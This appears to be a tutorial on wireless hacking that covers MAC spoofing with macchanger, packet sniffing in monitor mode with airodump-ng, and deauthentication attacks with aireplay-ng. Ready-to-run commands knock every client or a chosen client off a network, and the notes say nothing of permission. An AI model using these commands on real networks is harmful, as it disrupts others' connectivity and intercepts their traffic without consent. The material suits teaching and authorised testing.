

Sniffing Basics – MAC Address



- Each network card has a **physical static** address assigned by the card manufacturer called MAC address (Media Access Control).
- This address is used between devices to identify each other and to transfer packets to the right place.
- Each packet has a source MAC and a destination MAC.

Sniffing Basics – MAC Address



We can change our MAC address value that is stored in the memory using a program called macchanger like so:

```
> ifconfig [INTERFACE] down  
> macchanger -m [MAC] [INTERFACE]  
> ifconfig [INTERFACE] up
```

[interface] = your wifi card name.

[MAC] = the mac address you want to use.

Packet Sniffing Basics

MAC Address



Question: if the MAC address is used to ensure that each packet gets delivered to the right place then how can we capture it.

Answer: Yes and no , it is used to sent packets to the right destination , and we as hackers can only receive packets that are sent to our MAC address , but this only applies to the default mode of your wireless card , which is **managed** mode , however there is mode that allows us to capture all the packets in our wi-fi range , not only the ones sent to our device , hence the name **monitor** mode.

Packet Sniffing Basics

Airodump-ng



Airodump-ng is a program part of aircrack-ng package , its a packet sniffer that allows us to capture all the packets that are in our wifi card range. We can also use it to just scan all wifi networks around us and gather info about them.

Using Airodump-ng:

1. Enable monitor mode:

```
> airmon-ng start [interface]
```

2. Start airodump-ng

```
> airodump-ng [interface]
```

Targeted packet sniffing



We can launch airodump-ng on a specific target

```
> airodump-ng --channel [channel] --bssid [bssid] --write [file-name] [interface]  
Ex: airodump-ng -channel 6 -bssid 11:22:33:44:55:66 -write out mon0
```

Now all the data will be stored in the file name specified after the `-write` option. We can analyse this data using wireshark (we shall explain how to use wireshark later in the course). The only problem is that the collected data will not be much of use if the target network uses encryption.

Deauthentication Attacks Theory



This attack is used to disconnect any device from any network within our range even if the network is protected with a key.

- Hacker sends deauthentication packets to the router pretending to be the target machine (by spoofing its MAC address).
- At the same time , the hacker sends packets to the target machine (pretending to be the router) telling it that it needs to re-authenticate itself.

Deauthentication Attacks

Practical



To de-authenticate all clients in a specific network

```
> aireplay-ng --deauth [number of packets] -a [AP] [INTERFACE]  
Ex: aireplay-ng --deauth 1000 -a 11:22:33:44:55:66 mon0
```

To de-authenticate a specific client in a network

```
> aireplay-ng --deauth [number of deauth packets] -a [AP] -c [target] [interface]  
Ex: aireplay-ng --deauth 1000 -a 11:22:33:44:55:66 -c 00:AA:11:22:33:44 mon0
```